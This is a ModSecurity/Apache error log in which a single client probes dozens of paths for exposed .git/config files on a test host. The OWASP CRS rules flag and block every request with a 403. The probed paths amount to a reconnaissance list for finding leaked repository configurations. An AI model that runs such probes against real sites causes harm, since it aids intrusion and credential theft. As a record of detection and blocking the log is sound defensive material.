[Thu Jan 16 14:20:44.908720 2025] [:error] [pid 510617] [client 45.135.232.70:48716] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiKQAAAAs&quot;]
[Thu Jan 16 14:20:44.909040 2025] [:error] [pid 510617] [client 45.135.232.70:48716] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/live/.git/config&quot;] [unique_id &quot;Z4kHrB0GqQT5iX5c5mKiKQAAAAs&quot;]
[Thu Jan 16 14:20:44.916234 2025] [:error] [pid 510629] [client 45.135.232.70:48530] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/notifications/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/notifications/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0wAAAAw&quot;]
[Thu Jan 16 14:20:44.916527 2025] [:error] [pid 510629] [client 45.135.232.70:48530] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/notifications/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0wAAAAw&quot;]
[Thu Jan 16 14:20:44.916743 2025] [:error] [pid 510629] [client 45.135.232.70:48530] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/notifications/.git/config&quot;] [unique_id &quot;Z4kHrEybss1A0El7xRHo0wAAAAw&quot;]
[Thu Jan 16 14:20:44.918782 2025] [:error] [pid 510637] [client 45.135.232.70:48678] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repository/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VdAAAAA8&quot;]
[Thu Jan 16 14:20:44.919062 2025] [:error] [pid 510637] [client 45.135.232.70:48678] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VdAAAAA8&quot;]
[Thu Jan 16 14:20:44.919269 2025] [:error] [pid 510637] [client 45.135.232.70:48678] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Z4kHrC99y7sHzDyIeh2VdAAAAA8&quot;]
[Thu Jan 16 14:20:44.950029 2025] [:error] [pid 500653] [client 45.135.232.70:48458] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/services/workers/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/services/workers/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNCQAAAAE&quot;]
[Thu Jan 16 14:20:44.950587 2025] [:error] [pid 500653] [client 45.135.232.70:48458] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/services/workers/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNCQAAAAE&quot;]
[Thu Jan 16 14:20:44.950993 2025] [:error] [pid 500653] [client 45.135.232.70:48458] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/services/workers/.git/config&quot;] [unique_id &quot;Z4kHrJWbe3YhcT1jDQtNCQAAAAE&quot;]
[Thu Jan 16 14:20:44.952276 2025] [:error] [pid 511460] [client 45.135.232.70:48700] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/email/sendgrid/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/sendgrid/.git/config&quot;] [unique_id &quot;Z4kHrGMvBnNNNT6Ukk60dwAAAAA&quot;]
[Thu Jan 16 14:20:44.952762 2025] [:error] [pid 511460] [client 45.135.232.70:48700] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/sendgrid/.git/config&quot;] [unique_id &quot;Z4kHrGMvBnNNNT6Ukk60dwAAAAA&quot;]
[Thu Jan 16 14:20:44.953048 2025] [:error] [pid 511460] [client 45.135.232.70:48700] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/sendgrid/.git/config&quot;] [unique_id &quot;Z4kHrGMvBnNNNT6Ukk60dwAAAAA&quot;]
[Thu Jan 16 14:20:44.998859 2025] [:error] [pid 510615] [client 45.135.232.70:48476] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0swAAAAk&quot;]
[Thu Jan 16 14:20:44.999534 2025] [:error] [pid 510615] [client 45.135.232.70:48476] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0swAAAAk&quot;]
[Thu Jan 16 14:20:44.999990 2025] [:error] [pid 510615] [client 45.135.232.70:48476] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Z4kHrMMsllM7RW6P3X-0swAAAAk&quot;]
[Thu Jan 16 14:20:45.033746 2025] [:error] [pid 500655] [client 45.135.232.70:48486] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/aws/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/aws/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzgQAAAAM&quot;]
[Thu Jan 16 14:20:45.035948 2025] [:error] [pid 510616] [client 45.135.232.70:48642] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/email/aws/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/aws/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OAAAAAo&quot;]
[Thu Jan 16 14:20:45.036529 2025] [:error] [pid 510616] [client 45.135.232.70:48642] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/aws/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OAAAAAo&quot;]
[Thu Jan 16 14:20:45.036959 2025] [:error] [pid 510616] [client 45.135.232.70:48642] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/aws/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OAAAAAo&quot;]
[Thu Jan 16 14:20:45.037082 2025] [:error] [pid 507252] [client 45.135.232.70:48622] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /gateway/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNrwAAAAc&quot;]
[Thu Jan 16 14:20:45.037830 2025] [:error] [pid 500655] [client 45.135.232.70:48486] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/aws/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzgQAAAAM&quot;]
[Thu Jan 16 14:20:45.038167 2025] [:error] [pid 507252] [client 45.135.232.70:48622] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNrwAAAAc&quot;]
[Thu Jan 16 14:20:45.038328 2025] [:error] [pid 500655] [client 45.135.232.70:48486] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/aws/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzgQAAAAM&quot;]
[Thu Jan 16 14:20:45.038656 2025] [:error] [pid 507252] [client 45.135.232.70:48622] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gateway/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNrwAAAAc&quot;]
[Thu Jan 16 14:20:45.041898 2025] [:error] [pid 501744] [client 45.135.232.70:48780] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/services/notifications/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/services/notifications/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHAAAAAY&quot;]
[Thu Jan 16 14:20:45.042458 2025] [:error] [pid 501744] [client 45.135.232.70:48780] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/services/notifications/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHAAAAAY&quot;]
[Thu Jan 16 14:20:45.042857 2025] [:error] [pid 501744] [client 45.135.232.70:48780] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/services/notifications/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHAAAAAY&quot;]
[Thu Jan 16 14:20:45.045554 2025] [:error] [pid 510631] [client 45.135.232.70:48768] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExWwAAAA4&quot;]
[Thu Jan 16 14:20:45.045770 2025] [:error] [pid 510631] [client 45.135.232.70:48768] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExWwAAAA4&quot;]
[Thu Jan 16 14:20:45.045827 2025] [:error] [pid 510637] [client 45.135.232.70:48854] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VdQAAAA8&quot;]
[Thu Jan 16 14:20:45.045928 2025] [:error] [pid 510631] [client 45.135.232.70:48768] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v1/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExWwAAAA4&quot;]
